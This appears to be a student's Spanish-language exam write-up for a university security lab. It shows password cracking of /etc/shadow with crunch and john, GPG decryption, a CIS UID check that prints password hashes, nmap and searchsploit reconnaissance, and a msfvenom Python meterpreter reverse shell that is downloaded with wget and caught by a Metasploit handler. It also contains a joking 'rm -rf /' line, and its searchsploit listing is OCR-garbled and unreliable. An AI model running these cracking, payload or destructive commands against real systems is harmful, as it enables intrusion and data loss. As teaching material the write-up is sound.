# Examen SSI – UO285176

# Ejercicio1

## Ejercicio2

Crunch

```
ssiuser@vagrant:~$ crunch 10 10 -t test12%... -o crunch output.txt
Crunch will now generate the following amount of data: \overline{1}10 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 10
crunch: 100% completed generating output
ssiuser@vagrant:~$ cat crunch output.txt
test120...
test121...
test122...
test123...
test124...
test125...
test126...
test127...
test128...
test129...
ssiuser@vagrant:~$
```

#### Comandos:

\$ Crunch 10 10 -t test12%... -o crunch\_output.txt

\$ Cat crunch\_output.txt

John

```
ssiuser@vagrant:~$ sudo john -wordlist:crunch_output.txt /etc/shadow
Loaded 6 password hashes with 6 different salts (crypt, generic crypt(3) [?/64])
Remaining 3 password hashes with 3 different salts
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 100% 0g/s 166.6p/s 500.0c/s 500.0C/s test120....test129...
Session completed
ssiuser@vagrant:~$ sudo john --show /etc/shadow
user1:test121...:19500:0:999999:7:::
user2:test122...:19500:0:999999:7:::
user3:test123...:19500:0:999999:7:::
```

### Comandos:

\$ sudo john -wordlist:crunch\_output.txt /etc/shadow

### Ejercicio3

Primero importamos las claves públicas de los usuarios 1 y 3:

#### Comandos:

### \$ gpg -import public\_key\_userX.asc

Como tenemos las claves de los usuarios, las importamos y luego desciframos el archivo con la contraseña del usuario3:

```
ssiuser@vagrant:~/Desktop/tmp$ ls
private_key_user1.asc
                        public_key_user1.asc
ssiuser@vagrant:~/Desktop/tmp$ gpg --import private_key_user3.asc
gpg: key 3291AB667484E9C2: "Usuario3 <user3@uniovi.es>" not change
                                                    not changed
gpg: key 3291AB667484E9C2: secret key imported
gpg: Total number processed: 1
                unchanged: 1
gpg:
          secret keys read: 1
gpg:
      secret keys imported: 1
ssiuser@vagrant:~/Desktop/tmp$ gpg --import private key user1.asc
gpg: key DE379998D7052F6E: "Usuario1 <user1@uniovi.es>" not changed
gpg: key DE379998D7052F6E: secret key imported
gpg: Total number processed: 1
                unchanged: 1
gpg:
gpg:
          secret keys read: 1
      secret keys imported:
gpg:
ssiuser@vagrant:~/Desktop/tmp$ gpg -o gpg_output.txt -d mensaje_de_1_a_3.txt.asc
gpg: encrypted with 3072-bit RSA key, ID E97E4BB1DA86E1B5, created 2023-05-23
     "Usuario3 <user3@uniovi.es>"
ssiuser@vagrant:~/Desktop/tmp$ ls
Este examen !! Lo vamos a aprobar!!
ssiuser@vagrant:~/Desktop/tmp$
```

#### Comandos:

```
$ gpg -import private_key_userX.asc
$ gpg -o gpg_output.txt -d mensaje.txt
$ cat gpg_output.txt
```

### Ejercicio4

Se usará el CIS 6.2.16 Ensure no duplicate UIDs exist (Scored)

Creamos el siguiente script en bash para comprobar que no hay cuentas duplicadas:

Lo ejecutamos, pero lamentablemente nos devuelve de que hay permisos de root duplicados:

```
ssiuser@vagrant:~$ vim cis_ej4.sh
ssiuser@vagrant:~$ chmod +x cis_ej4.sh
ssiuser@vagrant:~$ ./cis_ej4.sh
Duplicate UID "0": "root dio"
ssiuser@vagrant:~$
```

Cambiamos manualmente la contraseña del usuario dio (igual que la de ssiuser):

```
ssiuser:$6$QZSTBcc8$pcbcUQsxvFHlVQI8yiADBwqEiJTBUSlBF5QJR2eqNelHxPsaryltD7MnPqn/
4g.xRUwpbFhURBj5fFAIGSV0a1:19500:0:99999:7:::
dio:$6$QZSTBcc8$pcbcUQsxvFHlVQI8yiADBwqEiJTBUSlBF5QJR2eqNelHxPsaryltD7MnPqn/4g.x
RUwpbFhURBj5fFAIGSV0a1:19500:0:99999:7:::
ftp:*:19495:0:99999:7:::
user1:$6$7jEJ2FFH$czxjdt00vSPkvoMK/br5GZcsdkJoLcY02d2YP1KAKic3AbKhEHMFPKoJDrFghn
```

# Ejercicio5

En primer lugar, realizaremos un escaneo con Nmap estándar pero algo sigiloso:

Comandos:

#### \$ sudo nmap -sV -s\$ 192.168.66.3

¿A dónde iría ahora para buscar si alguno de esos servicios y versiones tienen vulnerabilidades conocidas?

Una vez tengas los servicios y versiones, buscaría en la base de datos CVE

(http://www.cvedetails.com/) los exploits disponibles para los servicios que encontré

¿Qué haría ahora para encontrar si alguna de estas vulnerabilidades tienen exploits públicos conocidos?

Los buscaría en <a href="https://www.exploit-db.com/">https://www.exploit-db.com/</a> (si tengo Internet)

¿Qué programa le permitiría disponer de esos exploits públicos en escenarios donde no tienes acceso a Internet?

Haría uso del programa **Searchsploit**, que tiene una base de datos en la máquina local con exploits de todo tipo.

Muestra de los exploits disponibles para apache usando Searchsploit (la lista es grande):

```
Agache (Mindows x86) - Chunked Encoding (Metasploit)

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Agache - Pupe < 5.3.12 / < 5.4.2 - cgl-bin Remote Cool Execution

Agache - Arbitrary Long HTTP Headers (Denial of Service)

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Agache - Northorly Cookie Disclosure

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Agache - Remote Memory Exhaustion (Denial of Service)

Agache - 1.7 (10.4 x / MCSA HTTP d. 15.2 / Metscape Server 1.12/1.1/2.0 - a nph

Agache 1.1 / NCSA HTTP d. 15.2 / Metscape Server 1.12/1.1/2.0 - a nph

Agache 1.2.5/1.3.1 / UnityMsil 2.0 - MINE Header Denial of Service

Agache 1.3 - Artificially Long Slash Path Directory Listing (1)

Agache 1.3 - Artificially Long Slash Path Directory Listing (2)

Agache 1.3 - Artificially Long Slash Path Directory Listing (3)

Agache 1.3 - Artificially Long Slash Path Directory Listing (4)

Agache 1.3 - Directory Index Disclosure

Agache 1.3 - Directory Hose Directory Listing (3)

Agache 1.3 - Directory Hose Directory Listing (4)

Agache 1.3 - Directory Hose Directory Listing (5)

Agache 1.3 - Directory Hose Directory Listing (6)

Agache 1.3 - Directory Hose Directory Listing (7)

Agache 1.3 - MobbaW Directory Listing (8)

Agache 1.3 - MobbaW Directory Listing (9)

Agache 1
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Apache 2.0 mod Jk2 2.0.2 (Mindows 286) - Remote Buffer Overflow
Apache 2.0 mod Jk2 2.0.2 (Mindows 286) - Remote Buffer Overflow
Apache 2.0.44 (Linux) - Remote Denial of Service
Apache 2.0.48 (Linux) - Remote Denial of Service
Apache 2.0.49 - Arbitrary Long HTTP Headers Denial of Service
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Apache 2.0.49 - Arbitrary Long HTTP Headers Denial of Service
Apache 2.0.49 - Arbitrary Long HTTP Headers Denial of Service
Apache 2.0.49 mod php - File Descriptor Leakage (2)
Apache 2.0.49 mod php - File Descriptor Leakage (2)
Apache 2.0.59 mod rewrite (Mindows 2003) - Remote Overflow
Apache 2.2.50 EGT Denial of Service
Apache 2.2.50 mod prory Remove Apache 2.0.59 mod rewrite (Mindows 2003) - Remote Overflow
Apache 2.2.15 mod prory Remove Apache 2.0.59 mod rewrite (Nindows 2003) - Remote Overflow
Apache 2.2.15 mod prory Remove Apache 2.0.59 mod rewrite (Nindows 2003) - Remote Overflow
Apache 2.2.15 mod prory Remove Apache 2.2.15 mod
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Apache Tomcat 6.0.13 - Host Manager Servlet Cross-Site Scripting
Apache Tomcat 6.0.13 - Loss Curre Cooks Handling Quote Delimiter Sessi
Apache Tomcat 6.0.13 - JSP Example Web Applications Cross-Site Script
Apache Tomcat 6.0.13 - Cooks Quote Handling Quote Information Disc
Apache Tomcat 6.0.13 - Cooks Quote Handling Romote Information Disc
Apache Tomcat 6.0.15 - Cooks Quote Handling Romote Information Disc
Apache Tomcat 6.0.16 - Form Authentication Existing/Non-Existing
Apache Tomcat 6.0.18 - Form Authentication Existing/Non-Existing
Apache Tomcat 6.0.18 - Form Authentication Existing/Non-Existing
Apache Tomcat 7.0.4 - 'sort' / 'orderSy' Cross-Site Scripting
Apache Tomcat 87/76 (Robian-Based Distros) - Local Privilege Escalati
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Apache Tomcat 5.5.17 - Romote Olivactory Listing
Apache Tomcat 6.0.18 - 'utf8 Directory Visting
Apache Tomcat 6.0.18 - 'utf8 Directory Traversal
Apache Tomcat Connector nolly N. 'avec-shield Resole Overflow
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Apache Mini21 J. xy 2.0 x - Batch File Remote Command Execution
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Comandos:

### \$ searchsploit apache

# Ejercicio6

Primero creamos el script de pyhton con msfvenom:

```
ssiuser@labexam_kali:~$ msfvenom -p python/meterpreter_reverse_tcp LHOST=192.168.66.6 LPORT=4444 -f raw
> shell.py
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder specified, outputting raw payload
Payload size: 24860 bytes

ssiuser@labexam_kali:~$ ls
shell.py
ssiuser@labexam_kali:~$
```

Comandos:

\$ msfvenom -p python/meterpreter\_reverse\_tcp LHOST=192.168.66.6 LPORT=4444 -f raw > shell.py

Ahora, para transferirlo a la máquina objetivo, creamos un servidor de python para leer archivos en un puerto determinado:

```
ssiuser@labexam_kali:~$ python3 -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
```

Comandos:

\$ python3 -m http.server 4444

Ahora transferimos el archivo en la máquina víctima:

#### Comandos:

### \$ wget http://192.168.66.6:4444/shell.py

Ahora en la máquina atacante ejecutamos MSF:

```
ssiuser@labexam_kali:~$ service postgresql start
chmod: changing permissions of '/var/run/postgresql': Operation not permitted
ssiuser@labexam_kali:~$ sudo service postgresql start
[sudo] password for ssiuser:
Starting PostgreSQL 15 database server: main.
 ssiuser@labexam_kali:~$ msfdb init
[-] Error: /usr/bin/msfdb must be run as root
    user@labexam kali:~$ sudo msfdb init
/usr/bin/msfdb: line 50: systemctl: command not found
[+] Starting database
/usr/bin/msfdb: line 52: systemctl: command not found
[+] Creating database user 'msf'
 +] Creating databases 'msf'
   (Message from Kali developers)
  This is a minimal installation of Kali Linux, you likely
  want to install supplementary tools. Learn how:
  → https://www.kali.org/docs/troubleshooting/common-minimum-setup/
  (Run: "touch ~/.hushlogin" to hide this message)
[+] Creating databases 'msf_test'
(Message from Kali developers)
  This is a minimal installation of Kali Linux, you likely
  want to install supplementary tools. Learn how:

→ https://www.kali.org/docs/troubleshooting/common-minimum-setup/
__(Run: "touch ~/.hushlogin" to hide this message)
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
 +] Creating initial database schema
 siuser@labexam_kali:~$ msfconsole -q
```

#### Comandos:

\$ sudo service postgresql start

\$ sudo msfdb init

\$ msfconsole -q

Ahora creamos un payload listener multi/handler stageless:

```
siuser@labexam kali:~$ msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
<u>msf6</u> exploit(<u>multi/handler</u>) > set PAYLOAD python/meterpreter_reverse_tcp
PAYLOAD => python/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):
   Name Current Setting Required Description
Payload options (python/meterpreter_reverse_tcp):
   Name
          Current Setting Required Description
   LH0ST
                                     The listen address (an interface may be specified)
                           yes
   LP0RT 4444
                                     The listen port
                           yes
Exploit target:
   Id Name
      Wildcard Target
View the full module info with the info, or info -d command.
msf6 exploit(multi/handler) > set LHOST 192.168.66.6
LHOST => 192.168.66.6
msf6 exploit(multi/handler) > exploit
```

Comandos:

```
$ set PAYLOAD Python/meterpreter_reverse_tcp
```

\$ options

\$ set LHOST 192.168.66.6

\$ exploit -i

Ahora se inicia el listener:

```
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) >
[*] Started reverse TCP handler on 192.168.66.6:4444
```

Ahora ejecutamos el archivo Python en la máquina víctima:

```
ssiuser@labexam_ubuntu:~$ ls
container_init.sh shell.py
ssiuser@labexam_ubuntu:~$ python3 shell.py
ssiuser@labexam_ubuntu:~$
```

¡Y ya tenemos nuestro Meterpreter!

```
nsf6 exploit(multi/handler) >
[*] Started reverse TCP handler on 192.168.66.6:4444
[*] Meterpreter session 1 opened (192.168.66.6:4444 -> 192.168.66.3:54688) at 2023-06-02 10:37:52 +0200
```

Podemos ver que ahora tenemos una sesión:

```
msf6 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
meterpreter >
```

```
meterpreter > shell
Process 176 created.
Channel 1 created.
rm -rf / <- no intentemos esto no vaya a ser :3
```

```
meterpreter > shell
Process 176 created.
Channel 1 created.
ls
container_init.sh
shell.py
pwd
/home/ssiuser
```